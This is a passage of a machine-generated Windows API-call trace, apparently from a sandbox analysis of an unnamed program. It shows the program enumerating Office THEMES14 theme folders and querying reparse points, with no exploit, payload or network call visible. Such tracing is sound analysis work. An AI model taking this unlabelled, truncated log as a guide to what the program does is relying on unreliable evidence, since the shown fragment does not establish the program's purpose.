(HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.676] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.676] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.676] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9184f0 [0242.676] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91dde0 [0242.676] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.677] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.677] GetLastError () returned 0x12 [0242.677] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0242.677] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0242.677] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.677] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9df, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.677] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab5b300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2ab5b300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x10af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.ELM", cAlternateFileName="")) returned 1 [0242.677] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.INF", cAlternateFileName="")) returned 1 [0242.677] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.677] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.677] GetLastError () returned 0x12 [0242.677] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91ce58) returned 1 [0242.677] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0242.677] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91cd50) returned 1 [0242.677] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0242.677] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE", cAlternateFileName="")) returned 1 [0242.677] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0242.677] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.678] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0242.679] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0242.679] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x920338 [0242.679] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x920338, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x920338, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0242.679] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x920338) returned 1 [0242.679] NtClose (Handle=0x1b0) returned 0x0 [0242.679] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0242.679] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.679] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.679] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0242.679] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.679] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91dee8 [0242.679] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0242.679] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.679] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.679] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.679] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.679] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.679] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.679] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.679] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91dff0 [0242.680] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0242.680] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918510 [0242.680] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91e0f8 [0242.680] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.680] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d180d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d180d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe232, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.ELM", cAlternateFileName="")) returned 1 [0242.680] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.680] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.680] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.680] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.680] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.680] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918530 [0242.680] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91e200 [0242.680] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.680] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x271, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.INF", cAlternateFileName="")) returned 1 [0242.680] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.680] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.680] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.680] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.680] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.680] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918550 [0242.680] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91e308 [0242.680] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.680] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.680] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.680] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.680] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.680] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.681] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.681] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918570 [0242.681] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91e410 [0242.681] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.681] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.681] GetLastError () returned 0x12 [0242.681] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0242.681] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0242.681] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.681] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.681] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d180d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d180d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe232, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.ELM", cAlternateFileName="")) returned 1 [0242.681] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x271, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.INF", cAlternateFileName="")) returned 1 [0242.681] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.681] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.681] GetLastError () returned 0x12 [0242.681] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91dee8) returned 1 [0242.681] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0242.681] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91dff0) returned 1 [0242.681] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0242.681] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO", cAlternateFileName="")) returned 1 [0242.681] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.681] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.682] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0242.682] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0242.682] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x920338 [0242.682] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x920338, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x920338, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0242.682] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x920338) returned 1 [0242.682] NtClose (Handle=0x1bc) returned 0x0 [0242.682] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.682] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.682] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.682] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0242.682] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.682] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91dff0 [0242.682] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0242.682] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.683] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x68b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.683] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.683] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.683] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.683] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.683] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.683] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91dee8 [0242.683] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0242.683] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918590 [0242.683] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91e518 [0242.683] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.683] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e493a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2e493a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfed, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.ELM", cAlternateFileName="")) returned 1 [0242.683] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.683] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.683] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.683] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.683] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.683] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9185b0 [0242.683] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91e620 [0242.683] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.683] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, 